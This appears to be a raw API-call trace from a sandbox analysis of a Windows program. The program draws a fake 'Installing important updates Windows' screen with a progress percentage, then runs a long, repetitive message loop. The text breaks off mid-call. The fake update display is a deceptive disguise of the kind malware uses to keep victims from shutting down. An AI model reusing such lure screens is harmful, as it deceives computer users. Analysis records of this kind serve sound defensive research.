DrawIcon (hDC=0x2401083b, X=7, Y=7, hIcon=0x1b0183) returned 1 [0055.995] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x8a0a0830 [0055.995] SelectObject (hdc=0x2401083b, h=0x8a0a0830) returned 0x18a002e [0055.995] SetBkMode (hdc=0x2401083b, mode=1) returned 2 [0055.995] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0055.995] TextOutW (hdc=0x2401083b, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0056.006] SelectObject (hdc=0x2401083b, h=0x18a002e) returned 0x8a0a0830 [0056.006] CreateSolidBrush (color=0xffffff) returned 0x3a10024a [0056.006] FillRect (hDC=0x2401083b, lprc=0x18d9f0, hbr=0x3a10024a) returned 1 [0056.006] DeleteObject (ho=0x3a10024a) returned 1 [0056.006] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xbc0a01d5 [0056.009] SelectObject (hdc=0x2401083b, h=0xbc0a01d5) returned 0x18a002e [0056.009] SetBkMode (hdc=0x2401083b, mode=1) returned 1 [0056.009] lstrlenW (lpString="Getting your update ready.") returned 26 [0056.009] TextOutW (hdc=0x2401083b, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0056.010] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0056.010] TextOutW (hdc=0x2401083b, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0056.010] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0056.010] TextOutW (hdc=0x2401083b, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0056.010] SelectObject (hdc=0x2401083b, h=0x18a002e) returned 0xbc0a01d5 [0056.010] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x300a0763 [0056.013] SelectObject (hdc=0x2401083b, h=0x300a0763) returned 0x18a002e [0056.013] SetBkMode (hdc=0x2401083b, mode=1) returned 1 [0056.013] SetTextAlign (hdc=0x2401083b, align=0x6) returned 0x0 [0056.013] wsprintfW (in: param_1=0x18da50, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0056.013] lstrlenW (lpString="Percent complete: 4%") returned 20 [0056.013] TextOutW (hdc=0x2401083b, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0056.016] SelectObject (hdc=0x2401083b, h=0x18a002e) returned 0x300a0763 [0056.016] EndPaint (hWnd=0x401c8, lpPaint=0x18da10) returned 1 [0056.037] LoadAcceleratorsW (hInstance=0x400000, lpTableName=0x6d) returned 0x60125 [0056.037] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.037] NtdllDefWindowProc_W () returned 0x0 [0056.037] NtdllDefWindowProc_W () returned 0x0 [0056.037] NtdllDefWindowProc_W () returned 0x0 [0056.037] TranslateAcceleratorW (hWnd=0x0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.037] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.037] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.037] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.037] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.037] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.038] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.038] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.074] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.074] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.074] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.074] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.074] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.074] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.074] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.075] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.090] TranslateAcceleratorW (hWnd=0x40120, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.090] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.090] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.090] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.121] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.121] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.121] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.121] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.177] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.177] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.177] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.177] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.276] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.276] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.276] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.276] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.276] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.276] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.276] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.277] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.335] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.335] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.335] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.335] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.355] TranslateAcceleratorW (hWnd=0x40124, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.355] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.355] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.355] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.370] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.370] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.370] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.370] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.417] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.417] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.417] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.417] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.417] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.417] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.417] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.418] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.464] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.464] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.464] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.464] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.510] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.510] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.510] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.511] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.511] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0056.511] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.511] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.512] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.290] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.290] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.290] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.290] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.337] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.337] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.337] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.337] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.337] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.337] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.337] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.338] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.384] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.384] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.384] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.384] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.384] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.384] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.384] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.385] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.431] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.431] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.431] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.431] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.431] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.431] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.431] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.432] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.478] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.478] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.478] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.478] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.478] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.478] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.478] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.479] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.743] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.743] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.743] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.743] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.743] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.743] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.743] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.744] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.790] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.790] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.790] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.790] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.790] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.790] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.790] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.791] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.836] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.836] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.836] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.836] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.836] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.836] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.836] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.837] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.883] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.883] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.883] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.883] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.883] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.883] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.883] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.884] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.930] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.930] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.930] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.930] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.930] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.930] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.930] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.931] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.977] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.977] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.977] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.977] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.977] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0057.977] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.977] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.978] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.023] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0058.024] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.024] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.024] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.024] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0058.024] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.024] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.024] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.070] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0058.070] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.070] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.070] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.070] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0058.070] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.070] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.071] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.118] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0058.118] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.118] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.119] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.096] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.096] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.096] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.097] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.162] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.162] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.163] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.163] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.163] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.163] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.163] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.164] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.178] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.178] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.178] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.178] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.178] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.178] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.178] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.179] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.225] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.225] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.225] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.225] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.225] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.225] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.225] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.226] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.272] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.272] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.272] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.272] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.272] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.272] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.272] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.272] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.319] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.319] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.319] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.319] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.319] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.319] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.319] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.320] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.365] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.365] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.365] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.365] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.365] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.365] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.365] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.366] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.412] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.412] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.412] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.412] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.412] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.412] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.412] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.413] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.459] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.459] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.459] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.459] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.459] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.459] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.459] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.460] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.507] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.508] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.508] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.508] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.508] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.508] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.508] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.509] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.552] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.552] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.552] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.552] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.552] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.552] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.552] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.553] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.599] TranslateAcceleratorW 